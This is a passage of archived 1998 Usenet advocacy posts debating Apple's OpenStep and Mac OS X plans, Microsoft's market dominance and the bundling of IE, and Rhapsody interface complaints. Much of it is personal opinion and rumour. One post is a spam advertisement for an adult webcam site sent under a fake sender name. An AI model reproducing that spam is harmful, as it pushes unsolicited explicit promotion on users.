GIVE AWAY OPENSTEP FOR LINUX
This theme is a constant in these newsgroups, so here are my ideas
;-)
(1) MAKE MONEY. If Apple continually loses money, nothing else
matters.
(2) KEEP DEVELOPERS AND KEY APPLICATIONS. The loss of Quicken for
the Mac could have been terminal. Likewise, the loss of Photoshop or
Microsoft Office could kill the Mac. Apple must keep these key
developers and applications flowing. Carbon was a critical move in
this direction.
(3) NEED MUST-HAVE CAPABILITY. Making money and keeping key
applications will help keep existing owners in the fold. However,
Apple must get new buyers and get some PC owners to switch. To do
this, Apple must offer some unique and must-have capability.
(4) GAMES, GAMES, GAMES. Most parents buy computers in large part
for their children. For this critical market segment, game
availability is critical. I believe Jobs recognizes this since at
WWDC he said he really wanted to bundle games with the iMac. Apple
must attract game developers.
(5) GIVE AWAY OPENSTEP FOR LINUX. Giving away OpenStep for Linux
probably won't cannibalize sells of MacOS systems. It will help
build marketshare needed for developers to create OpenStep
applications. It will put OpenStep in the hands of a group of gifted
programmers and programmers-in-training. With talented programmers
using OpenStep, hopefully the *next big thing* will come out first on
OpenStep!!
That my $0.02,
Todd
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Why Microsoft has won
Date: 24 May 1998 05:55:46 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd86d8$7f63b260$04387880@test1>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1> <6k525c$2gi$1@nntp1.ba.best.com>
>>When the history books are written for 1980s-1990s, it will be
>>interesting to see how they explain how Microsoft was able to
>>dominate market after market with inferior products.
Michael J. Peck <mjpeck@nstar.net> wrote
> Pshoosh. This is the sort of thing that just makes me tired of
> arguing. Nobody's ever going to change their mind about this
> as long as they're convinced that Microsoft's products are
> inferior.
Joseph Palmer <jpalmer@-noshpam-best.com> wrote
> Um... Who do you think will write those histories, and do you
> think they will characterize those products as "Inferior"?
I'll take a stab at writing the history books. :-)
First, I do know Microsoft's products [1], and I still think
Microsoft has decimated better available products[2].
Microsoft won the information war by
(A) Luck
(B) Understanding the power of marketshare
(C) Understanding the power of interdependence
(D) Understanding how to leverage
(E) Using monopoly power
(F) Brilliant business moves
---------------
(A) Luck. Microsoft had a gift handed to it when IBM wanted them to
develop the OS for their new PC. Microsoft had no OS, and no history
of making an OS. Digital Research (DR) made a strategic blunder with
IBM, and Microsoft was able to buy 86-DOS from Seattle Computer for a
song.
With the IBM name attached to the PC, almost over night MS-DOS became
the de facto standard over all other personal computer OSes, with
dominant marketshare, and instant clout for most software developers.
And with what would become a signature pattern for Microsoft, MS-DOS
was able to leverage the huge experience and software around CP/M
because 86-DOS was based on the CP/M design and APIs.
Bingo. Microsoft becomes a dominant player not because of its skill
but because of the IBM name the developers familiarity of CP/M.
---------------
(B & C) Microsoft, better than anyone I think, understands the power
of marketshare, especially when other people depend on it. Time and
time again Microsoft has forgone profits up front to build
marketshare. For something like a car, additional marketshare is not
that important. However, for an OS, it is critical because that is
what convinces developers to build for your platform.
The more applications for your OS means more people will want your
OS. The more people who want your OS means the more marketshare you
will have. A wonderful feedback loop.
That link between marketshare and interdependence is critical.
[Note: the Mac has been going through this in reverse lately -
smaller marketshare, fewer developers and applications. Fewer
application means fewer people will want to buy your system]
With the advent of networks (e.g., the Internet) and electonic
document exchange, something very similar has happened with
Microsoft's applications. I have to exchange electronic documents
with customers and suppliers, so we need to standardize - and we
standardize on the applications with the greatest marketshare.
Furthermore, as customers/suppliers upgrade to new versions of
Microsoft Office, I am forced to do so as well.
Marketshare today means profits tomorrow. Microsoft does it better
than anyone.
---------------
(D) Microsoft knows how to leverage strength in one market to enter
another one. For example, MS-DOS was able to leverage developers'
experience with CP/M. When Microsoft came out with its windows-based
system, it could still leverage the huge base of DOS programs and
programmers at the time. When Microsoft came out with its UNIX class
OS, Windows NT, it was able to leverage the huge base of Windows
applications and developers.
Apple forgot this with its Rhapsody strategy; however, Apple soon
realized that it could not simply ignore the knowledge and code bases
tied to MacOS. Carbon was the light bulb turning on at Apple.
---------------
(E) Microsoft knows how to use its dominant marketshare position
(huge marketshare tied with other's dependence on you spells
monopoly). From initial flat licensing fees for its OS, to per
processor licensing fees, to forced bundling of its Internet browser,
Microsoft makes sure (1) its products are distributed by resellers
and (2) its competitors are denied financial resources (and
marketshare) needed to improve their products.
This strategy was captured by Steve Balmer's statement that it wanted
to cut off Netscape's air supply by giving away IE. Similarly,
Intuit dropped Netscape's browser in favor of IE when Microsoft
offered Intuit a "channel" in its new OS/browser.
Your competitors cannot compete if they don't have the finances to
improve their products. Likewise, other developers will not create
value added capabilities for your system if you cannot deliver
marketshare.
---------------
(F) Microsoft has made some brilliant business decisions. Microsoft
Office was a brilliant move, and I believe it helped drive Lotus 123
(what was considered the market leader and best product) into a
distant 2nd place.
Microsoft developing Windows and Windows NT, and more importantly
sticking with them through several poor years and initial versions
which stunk was critical (many companies drop a product if it doesn't
initially take off). It is important to remember that these were
"bet the company" decisions because the development of these systems
ended the Microsoft's critical relationship with IBM.
There have been others.
---------------
In summary, I believe Microsoft is where it is today because of a
little luck and incredibly brilliant business moves - many of which
are unique to computer and networked environments - over the years.
With enough time and resources, Microsoft's products will improve
(e.g., Office 98 for the Mac). Likewise, by denying financial
resources and marketshare to potential competitors, Microsoft can
keep its position secure.
In the end, it is Microsoft's business acumen, not its fantastic
products, that has placed it where it is today.
Todd
-----------------------------------------------------
[1] I use Windows NT every day (I have a tower and a laptop), and I
occasionally use Windows 95 (I have a 300 MHz P2 with an Orchid
Righteous II (Vodoo2) that I use for games - BattleZone is incredible
on it!). And I have about a dozen publications done in Word over the
years, budgets done in Excel, and probably a hundred presentations
done with PowerPoint. Last month I also ported a fairly substantial
code base from Solaris to NT with (not so) Visual C++.
I am very familiar with Microsoft's operating systems, applications,
and tools. And I don't think they are so bad; however, I still
believed Microsoft obliterated competition while there were/are
better products available.
----
[note: I am not prepared to argue the current MacOS against Windows
95/98 or Windows NT]
[2] I don't think *anyone* claimed Windows 3.x was better than the
Mac at the time, but Windows 3.x clobbered the Mac in sales.
Likewise, I don't think anyone seriously believes Windows NT is
currently a more stable or faster platform than most of the
commercially available UNIX platforms (and even several freely
available UNIXes also), yet Window NT is seriously outselling UNIX
boxes right now.
[I even suspect my NeXTstation from 7 years ago, with 16 Megs of Ram,
33 (?) MHz 680x0, and NeXTstep 2.1, would compared favorably in speed
and robustness to my relatively new NT laptop with 96 Megs, 233 MHz
Pentium, and Windows NT.]
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 16:11:27 +1000
Organization: University of Queensland
Message-ID: <6k8dee$a9h$1@nargun.cc.uq.edu.au>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net>
>In article <6k6rm5$nkn$4@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>
>> And how were they using their monopoly to monopolize this other market?
>> Netscape wasn't excluded from reaching this market. They still have a 2/3
>> share last I heard. Microsoft even allows OEMs to ship Netscape installed
on
>> a Win95 system. They did not prevent Netscape's entry into the market (it
>> was already there, and to a large extent created the market), and the
didn't
>> eliminate Netscape's presence in the market, so what DID they do as far
as
>> "monopolizing" the new market?
>
>
>Let's say for a moment that the IE intergration in Windows 98 is a
>legitimate OS feature. Furthermore, let's also say that nothing prevents
>the user from not using IE and using Netscape. Could we say that these
>two statements are what a number of pro-Microsoft advocates are saying?
Yep.
>
>Good...now why is it that Microsoft will not allow vendors to install and
>configure Navigator as the default browser while leaving the IE technology
>in place? Why must the startup sequence remain unaltered?
They can set Netscape to the default browser, but they cannot change the
default startup procedure - I would consider this a valid "condition" no
matter *what* the OS was. I wonder what Apple would say if some of its VARs
(not that there are many left) modifed all their Macs so the default boot
was to Win95 running under VPC instead of OS 8.0 ?
>
>One can argue that leaving the IE functionality in the OS allows
>developers to know exactly what browsing features will be available on
>every Windows 98 system. But I cannot for the life of me see any
>advantage to the consumer for Microsoft to insist that Navigator not be
>installed as the default browser and that the startup sequence cannot be
>altered so that IE is not prominently displayed. You call this freedom of
>choice? Are you telling me that Microsoft is giving the customers what
>they want? Are customers demanding the exact same startup of every
>computer system running Windows 98? Don't you think that the system
>vendors should be allowed to pick and choose which software they would
>like to see more prominently displayed?
OEMs can *add* whatever they want to the desktop, start menu, startup etc -
they just aren't allowed to *remove* default settings for the first boot -
if Gateway wanted to they could stick a text document into "Startup"
describing exactly how to remove Windows 95 and install Linux, but the
*first* boot must have the *standard* Windows 95 setup. System vendors can
already pick & choose software to install, stick on the desktop, add to the
Start menu whatever, they just can't *remove* things from the *first*
bootup.
>
>The reason why is that Microsoft is trying to monopolize the browser
>market. Can you explain this any other way (and please, the "Windows
>Experience" is not worth a battle with the DOJ)?
>
>Josh
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 00:34:26 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k883d$okb$4@strato.ultra.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6k6rm5$nkn$4@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>
>> And how were they using their monopoly to monopolize this other market?
>> Netscape wasn't excluded from reaching this market. They still have a 2/3
>> share last I heard. Microsoft even allows OEMs to ship Netscape installed
on
>> a Win95 system. They did not prevent Netscape's entry into the market (it
>> was already there, and to a large extent created the market), and the
didn't
>> eliminate Netscape's presence in the market, so what DID they do as far
as
>> "monopolizing" the new market?
>
>
>Let's say for a moment that the IE intergration in Windows 98 is a
>legitimate OS feature. Furthermore, let's also say that nothing prevents
>the user from not using IE and using Netscape. Could we say that these
>two statements are what a number of pro-Microsoft advocates are saying?
>
I'm myself, not a "pro-Microsoft advocate", but let's leave that aside. It
is what I am saying.
>Good...now why is it that Microsoft will not allow vendors to install and
>configure Navigator as the default browser while leaving the IE technology
>in place? Why must the startup sequence remain unaltered?
I have seen no reason to believe that Microsoft prevents vendors from
configuring Navigator as the default browser, depending on what you mean by
"default browser". If you mean "the program that runs when I double-click a
.HTML file", then I see no reason at all why a vendor can't make that
change. They are allowed to install whatever additional products they want,
and that normally creates or changes file associations. I am unable to
guess what else you might mean by "default browser", so please elaborate.
MS gives their own (public) reasons for these decisions at
(http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm). Believe them or not as
the case might be.
I personally find some of their arguments plausible. In particular, remember
that they have had more experience supporting Windows customers than either
you or I. Their Q&A mentions a case where a vendor interrupted the boot
sequence and wound up screwing things up for customers. It makes sense that,
since the OS is designed to finish booting and then log a user on, that any
customizations should take place after a user logs on. If the OEM wants to
do some perhaps massive customizations, then perhaps they should ship the
system with a default user ("start up" or something) which does the
customizations, then deletes itself and logs out. Note that MS is not
attempting to dictate what happens on any login other than the first. The
OEM could completely switch shells to one that provided a totally different
interface, and Microsoft claims they wouldn't mind, as long as that happened
after the first login. If true, that's no great barrier to entry.
>One can argue that leaving the IE functionality in the OS allows
>developers to know exactly what browsing features will be available on
>every Windows 98 system. But I cannot for the life of me see any
>advantage to the consumer for Microsoft to insist that Navigator not be
>installed as the default browser and that the startup sequence cannot be
>altered so that IE is not prominently displayed.
Please go read the MS Q&A at
http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm. In small part, it says:
"Second, the government wanted Microsoft give up its right to display the
Windows user interface when consumers turn on a new PC running Windows for
the first time. The user interface is a fundamental part of the computer
operating system, so we believe it is appropriate that consumers who buy a
Windows-based PC see the Windows user interface at least once." Notice it
says "at least once", not forever. There does not appear to be any reason
why an OEM couldn't change the interface completely for subsequent logins.
It could even change the wallpaper to a big Netscape "N".
>You call this freedom of
>choice? Are you telling me that Microsoft is giving the customers what
>they want? Are customers demanding the exact same startup of every
>computer system running Windows 98? Don't you think that the system
>vendors should be allowed to pick and choose which software they would
>like to see more prominently displayed?
>
>The reason why is that Microsoft is trying to monopolize the browser
>market. Can you explain this any other way (and please, the "Windows
>Experience" is not worth a battle with the DOJ)?
I contend that there is no "browser market". Only in the PC space is it the
case that browsers are not included with the operating system. Browser
vendors (which largely means "Netscape") sell to the computer manufacturers,
not to the end-user. The problem for Netscape is that Microsoft now agrees
with them, but sees no good reason to pay money to Netscape.
>Josh
John Saunders
jws@jws.ultranet.com
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Sun, 24 May 1998 02:39:21 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2405980239210001@192.168.0.3>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com>
In article <3566E50C.257D56A2@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
:Eric King wrote:
:
: * Er, no. You're not getting a Postscript interpreter,
: * you're just getting a low-level functional API with
: * some PDF export options. No PSWraps and possibly no
: * NSHosting-like services.
:Wraps and NSHosting aren't related very much.
Except by their current implementations, which both rely on DPS. Take
DPS away and you have neither, with no clear replacements in sight.
:of wraps, the amount of work needed to convert the average
:application to the new API is minimal to zero,
I did not comment on the amount of code needed to convert, only that
the service would not be available.
:out many times in the "OpenStep programmers have to be DPS
:experts" debates
However, the issue being discussed was if you *wanted* to hack around
with Display Postscript, Mac OS X, isn't going to offer you that ability
any longer.
-Eric
From: Axel Habermann <kiwi@saljut.fb10.tu-berlin.de>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 24 May 1998 07:24:38 GMT
Organization: Technical University Berlin, Germany
Message-ID: <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7>
Matthew Vaughan <see-below@not-my-address.com> wrote:
: In article <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>,
: rkt1@cornell.eduz (Tapella) wrote:
: > As far as I can tell, the worst loss is the "look" of the UI rather than
: > the "feel". The MacOS UI is well-planned and efficient.
: I remember a year ago all the Next developers were complaining about how
: sucky the Mac interface was compared to OpenStep, but they've been pretty
: silent since. I was wondering if that was the NDA at work, or whether some
: have actually changed their minds. I haven't used OpenStep or Rhapsody so
: I can't compare, but I'm curious what you all think of the Mac interface
: (at least as implemented in DR1/DR2) now?
My comments about DR2:
- The tear off menus suck, because you can only tear off the first level.
This is pretty much useless. It was much better on Openstep.
- The tear off menus suck, because I always tear them off inadvertedly when
trying to leave the menu.
- The scrollbars are still on the wrong side.
- Drag cancel can be disabled - at least they didn't make it a permanent
annoyance.
- Miniicons are back as a supported option. Great.
- I miss the Application Icons a lot. Switching between Applications is
one step more as it used to be (go to the menu bar, select app instead
of directly clicking on the application icon)
- The Desktop is no replacement for the shelf as it is mostly
covered by windows.
- I have two menu options labeled 'Preferences' and I can't
remember which is which (app prefs or system prefs)
- I miss the top level 'hide' menu option
Basically the same complaints as before. Many things have become
worse. There are some improvements, though:
- I like to have the processes list in the menu.
- It's nice to be able to resize the windows from all edges.
--
Axel Habermann
kiwi@buran.fb10.tu-berlin.de Fon:+49 30 45478986
Die Dateien, in denen die Programmdokumentation enthalten ist,
haben normalerweise die Endung ".m"
From: ghenders@gary-hendershot.com (Gary Hendershot)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 24 May 1998 06:22:48 GMT
Organization: Gary-H-dot-COM
Message-ID: <6k8ebo$vja$1@news.orbitworld.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com>
Mime-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
>
> So, you have knowledge the rest of us don't? That any PPC box
> that runs Rhapsody 1.0 PPC will run Mac OS X?
========================================================================
Rhapsody 1/PPC will run on a 604 box, but that won't be the case with
MacOS-X.
The word out on this issue (maybe it would be fair to call it an
interpretation -- even though nothing is concrete yet) is that MacOS-X
will *only* be supported on the G3/G4 platform (or higher). The
601, 603, and 604 platforms will have to operate on MacOS 9.x, which will
continue to get tweaks as needed for a number of years until the vast
majority of Macintosh users have converted to G3/G4 or higher hardware.
Apple is wanting to optimise MacOS-X for G3/G4, not to mention enhance
their bottom line by forcing anyone with these "older" platforms to
upgrade their hardware if they *really* need the advanced features of
MacOS-X. A significant number will go ahead and jump on the G3/G4
bandwagon about the time MacOS is released anyway, since FireWire,
AltiVec, and other goodies will be present in these 1999/2000 G3/G4
boxes.
-Gary H-
ghenders@gary-hendershot.com
Houston, TX USA
From: Axel Habermann <kiwi@saljut.fb10.tu-berlin.de>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 24 May 1998 07:33:19 GMT
Organization: Technical University Berlin, Germany
Message-ID: <6k8ifv$d4k$2@mamenchi.zrz.TU-Berlin.DE>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
Tapella <rkt1@cornell.eduz> wrote:
[...]
: As far as I can tell, the worst loss is the "look" of the UI rather than
: the "feel". The MacOS UI is well-planned and efficient. Some new elements
: will be added like tear-off menus that will make it more powerful. (Although
: when I tried using tear-off menus via the Mac program 'Power Menus' I didn't
: find any use for them. They only seem to be useful when you don't have the
: constant menu bar at the top of the screen -- thus, they were useful in
: the old NeXT menu system but not in MacOS. The menu-bar-on top is actually
: quite effective, although I could see being put off by it if you're used
: to OS or X-windows, where there are no menus to be found. The MacOS style
: menu bar is about as fast as the popup menus, since you can just ram your
: mouse up to the top of the screen. (On a big monitor where you're trying
: to move all the way across the screen, it isn't as fast, but how often
: does that occur? Having tear-off menus would probably help with this!)
Aha.
Try to do that when you want to repeatedly select an option in the
third level (like 'tighten' which is in Format -> Font -> Kern -> Tighten)
On NeXTSTEP you could just open the menu and click on it as many
times as you liked. On Rhapsody, the whole menu structure disappears
after having selected the item. Bummer. (Note that the behaviour of
automatically closing menus was also available on NeXTSTEP depending
on the way you descended into the menu. If you held the mouse button,
the menu would have behaved like it does now under Rhapsody. If you
opened each submenu with a single click, the menu would have stayed
open - a very elegant design. You even were able to tear off
the last menu level - but you were not required to do so for the
described task)
Btw. you can only tear off the first level, so this does not
solve the problem. Screwed by design.
--
Axel Habermann
kiwi@buran.fb10.tu-berlin.de Fon:+49 30 45478986
Die Dateien, in denen die Programmdokumentation enthalten ist,
haben normalerweise die Endung ".m"
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 24 May 1998 04:28:16 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k8ln0$c3r$1@crib.bevc.blacksburg.va.us>
References: <356573e8.5831486@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>
In article <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>, Axel Habermann <kiwi@saljut.fb10.tu-berlin.de> wrote:
> - The tear off menus suck, because you can only tear off the first level.
You're joking, right?? You mean all this time they've been telling us
they're going to bring tear-off menus back, and then when they do, they
cripple them beyond use??
> - The scrollbars are still on the wrong side.
That irks me a lot. I hope they keep the dwrite in. But it would be
much better to have something in Preferences.
From: ghenders@gary-hendershot.com (Gary Hendershot)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 24 May 1998 07:54:52 GMT
Organization: Gary-H-dot-COM
Message-ID: <6k8joc$bq$1@news.orbitworld.net>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu>
<see-below-2005980308550001@209.24.240.28> <6jvctf$6p8$2@msunews.cl.msu.edu>
Mime-Version: 1.0
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>>>
>>> Apple claimed (on Rhapsody Developers' mailing list) that they need
>>> $100 million in revenues to justify Rhapsody/Intel...
-----------------------------------------------------------------------------
> I'll happily move to Make a Business case...
-----------------------------------------------------------------------------
I'll bet that Apple/NeXT has decided to take the very conservative approach
to building the new OS (MacOS-X) by completely dumping Intel support and
focusing 100% on the G3/G4 platform. After all, if Apple is willing to bet
the company on G3 and G4 technology, then why bother with support for IA-32
and IA-64? You must remember that Apple is in a business mode nowadays
where they are only going to support activities that will produce positive
financial results quickly and cut loose all the rest. They've already cut
the Newton and Apple printers, they could *easily* cut NeXTel.
=============================================================================
>>
>> Apple is clearly creating options for itself...
-----------------------------------------------------------------------------
Oh, I would say they are simply mollifying the NeXTel crowd. They've
probably known for a while that NeXTel is a doomed platform, but don't
want to blurt it out. They'll just use the old bit-by-bit news release
tactic over the remainder of 1998 so that it doesn't hit too hard.
Apple has learned well from Microsoft (NT) that supporting multiple
hardware platforms is expensive and not worth the financial investment
-- hence NT now only on Intel and Alpha, no more PPC and MIPS support.
=============================================================================
>>
>> have first class Merced support the day Merced systems ships...
-----------------------------------------------------------------------------
Version 1 of Merced probably will not be faster than a circa-1999 G4
processor, and will probably be much more expensive (like the Xeon
processor), so that would not make Merced a very attractive platform to
support. Besides, Apple has probably seen laboratory versions of Merced
running (under a non-disclosure agreement, certainly) and have decided
that they will pass on using the processor in its own systems and maybe
supporting it as well.
However, Version 2 of the full-blown Merced (year 2001-ish) will reportedly
be "seriously fast," and by then there will probably be cheap-o variants of
Merced that will compete handily with Alpha and PPC on price/performance,
and the Merced compilers will probably/finally be tuned-up to produce the
smallest fastest Merced code. The X86 market would then quickly dissipate.
=============================================================================
>
> Apple should try to get MIcrosoft with it's pants down NOW.
-----------------------------------------------------------------------------
As Jobs said last summer, "The era of competition is over between us" -- or
something like that. I still think he's solidly on this bandwagon. He
wants badly to make money with QuickTime and simply doesn't want to compete
with Microsoft (or others) in this area. QuickTime proliferation using
the Win95/98/NT platform is high on Jobs' agenda.
As anyone with a brain has figured out by now, Apple has become over the
years, an alternative R&D facility for M$. Now Jobs would like to
collect patent royalties from M$ easily, instead of having M$ "re-invent"
these technologies and then go to court and attempt to collect from a
litigious M$. Thus, this Jobs/Gates business relationship -- and Jobs
ain't gonna kill it -- at least, not anytime soon.
=============================================================================
>
> He's happier if everyone leaves him alone. Frankly I thought DOJ should
> have hammered MS long ago. I couldn't believe it took this long.
-----------------------------------------------------------------------------
Nonetheless, M$ probably has been preparing for this case a while longer
than most might believe -- strategies, tactics, timelines, defensive ploys,
etc. You can bet your ass they have been well aware of what the DOJ and
others have been up to for some time, and are now well prepared.
-Gary H-
ghenders@gary-hendershot.com
Houston, TX USA
From: ghenders@gary-hendershot.com (Gary Hendershot)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 24 May 1998 09:21:18 GMT
Organization: Gary-H-dot-COM
Message-ID: <6k8oqe$bq$2@news.orbitworld.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com> <199805212152591422764@[193.216.37.99]>
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> ... There are also many NFS implementations on NT (even free I
> think)...
=======================================================================
There's no free NFS Server that comes with NT Server. Not yet.
However, there's something that's been brewing (stewing?) for a while
in the background called "Net-NFS." It's possible that the trade
name for this has changed over time, but essentially it is an open
spec web-browser-mountable file system that works using TCP (not UDP).
This has not been talked about very much in the press, but word of
this Micro$oft project slipped out over a year ago and $un responded
quickly saying that it was also working on such a project and demanded
that M$ stop work immediately on this new implementation of NFS.
M$ refused. That's about all I recall.
-Gary H-
ghenders@gary-hendershot.com
Houston, TX USA
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Sun, 24 May 1998 07:45:52 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <EtGAwH.8nA@micmac.com>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
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Cc: rkt1@cornell.eduz
This was written in comp.sys.next.advocacy
(<rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>) by Tapella:
> I think something we all forget quite often is that Apple didn't buy NeXT
> so that they could get OPENSTEP. They bought NeXT so they could make the
> next MacOS, which is what they're doing.
NOT! They bought NeXT for Steve Jobs to run again Apple with all the heads
from NeXT!
That's what *really* happened...
mc
From: LucyLawless@This.Site.com
Newsgroups: comp.sys.next.advocacy
Subject: ** STAR TREK CHICKS NUDE FREE 19795
Date: Saturday, 23 May 1998 21:28:16 -0600
Organization: <no organization>
Distribution: World
Message-ID: <23059821.2816@This.Site.com>
http://members.coolnet.net/~tyler12
=======ALL FOR FREE=======
YOU HEVER TO SEE THIS TO BELIEVE IT.
4 HOT COLLEGE GIRLS LIVING IN A HOUSE
WITH CANS IN EVERY ROOM INCLUDING
THE SHOWER. THE CAMS ARE ON 24 HOURS
AND THERE IS ALSO A CHAT ROOM SO YOU
CAN TALK TO THEM TOO...
http://members.coolnet.net/~tyler12
http://members.coolnet.net/~tyler12
][we
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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From: Alan Frabutt <afrabutt-at@gatecom-dot.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Features for Rhapsody after Mac OS X
Date: 24 May 1998 15:34:47 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6k9emn$92n$1@news4.ispnews.com>
References: <y9f91.2843$0A3.13617681@news.itd.umich.edu> <6k3ieu$be9$8@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6k3ieu$be9$8@ns3.vrx.net> Maury Markowitz wrote:
> In <y9f91.2843$0A3.13617681@news.itd.umich.edu> not@my.address.net claimed:
<snip>
> > Then there's NetInfo ... how does it figure in the plans for Mac OS X?
> Will it
> > remain in Rhapsody if Mac OS X moves in a different direction?
>
> It will be in both.
<snip>
From where I sit, it looks like Apple has bailed on any chance of a Server
host platform. And that pushes them into an awfully tiny niche. I imagine
the thought of having to come up with logical volume management software and
the like was a big factor...
You can run windows95 on a Pentium II, but that doesn't make it a server OS.
MacOSX? who knows. It's just a godawful place to wind up, having started
